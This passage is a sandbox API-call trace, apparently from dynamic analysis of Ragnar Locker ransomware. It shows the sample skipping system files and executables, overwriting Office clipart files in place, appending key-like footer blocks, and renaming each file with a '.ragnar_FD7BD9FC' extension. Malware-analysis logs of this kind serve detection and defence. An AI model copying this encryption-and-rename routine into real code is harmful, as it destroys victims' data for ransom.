lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.383] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.383] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.383] GetProcessHeap () returned 0x580000 [0088.383] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.383] CloseHandle (hObject=0xf4) returned 1 [0088.383] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" [0088.383] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ragnar_FD7BD9FC" [0088.383] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.384] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0088.384] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.384] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00042_.WMF" | out: lpString1="NA00042_.WMF") returned="NA00042_.WMF" [0088.384] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF") returned=".WMF" [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="autorun.inf") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="boot.ini") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="bootfont.bin") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="bootsect.bak") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="bootmgr") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="bootmgr.efi") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="desktop.ini") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="iconcache.db") returned 1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="ntldr") returned -1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="ntuser.dat") returned -1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="ntuser.ini") returned -1 [0088.384] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="thumbs.db") returned -1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.384] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf")) returned 0x20 [0088.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.385] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20548) returned 1 [0088.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x503b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.385] GetProcessHeap () returned 0x580000 [0088.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.385] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.386] VirtualAlloc (lpAddress=0x0, dwSize=0x5044, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.387] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5044, lpOverlapped=0x0) returned 1 [0088.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.388] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5044, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.388] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5044, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5044, lpOverlapped=0x0) returned 1 [0088.388] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5044, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.388] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.388] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.388] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.389] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.389] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.389] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.389] GetProcessHeap () returned 0x580000 [0088.389] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.389] CloseHandle (hObject=0xf4) returned 1 [0088.389] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" [0088.389] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ragnar_FD7BD9FC" [0088.389] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0088.390] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.390] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00057_.WMF" | out: lpString1="NA00057_.WMF") returned="NA00057_.WMF" [0088.390] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF") returned=".WMF" [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="autorun.inf") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="boot.ini") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="bootfont.bin") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="bootsect.bak") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="bootmgr") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="bootmgr.efi") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="desktop.ini") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="iconcache.db") returned 1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="ntldr") returned -1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="ntuser.dat") returned -1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="ntuser.ini") returned -1 [0088.390] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="thumbs.db") returned -1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.390] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf")) returned 0x20 [0088.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.391] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10818) returned 1 [0088.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.391] GetProcessHeap () returned 0x580000 [0088.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.391] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2a42, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.393] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.393] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.393] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a42, lpOverlapped=0x0) returned 1 [0088.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.394] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a42, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.394] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a42, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a42, lpOverlapped=0x0) returned 1 [0088.394] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.394] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.394] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.395] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.395] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.395] GetProcessHeap () returned 0x580000 [0088.395] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.395] CloseHandle (hObject=0xf4) returned 1 [0088.395] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" [0088.395] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ragnar_FD7BD9FC" [0088.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.395] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0088.396] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.396] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00058_.WMF" | out: lpString1="NA00058_.WMF") returned="NA00058_.WMF" [0088.396] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF") returned=".WMF" [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="autorun.inf") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="boot.ini") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="bootfont.bin") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="bootsect.bak") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="bootmgr") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="bootmgr.efi") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="desktop.ini") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="iconcache.db") returned 1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="ntldr") returned -1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="ntuser.dat") returned -1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="ntuser.ini") returned -1 [0088.396] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="thumbs.db") returned -1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.396] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf")) returned 0x20 [0088.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.397] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3754) returned 1 [0088.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xea1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.397] GetProcessHeap () returned 0x580000 [0088.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.397] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.399] VirtualAlloc (lpAddress=0x0, dwSize=0xeaa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.399] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeaa, lpOverlapped=0x0) returned 1 [0088.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeaa, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.399] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeaa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeaa, lpOverlapped=0x0) returned 1 [0088.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeaa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.399] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.400] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.400] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.400] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.400] GetProcessHeap () returned 0x580000 [0088.400] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.400] CloseHandle (hObject=0xf4) returned 1 [0088.400] lstrcpyW (in: 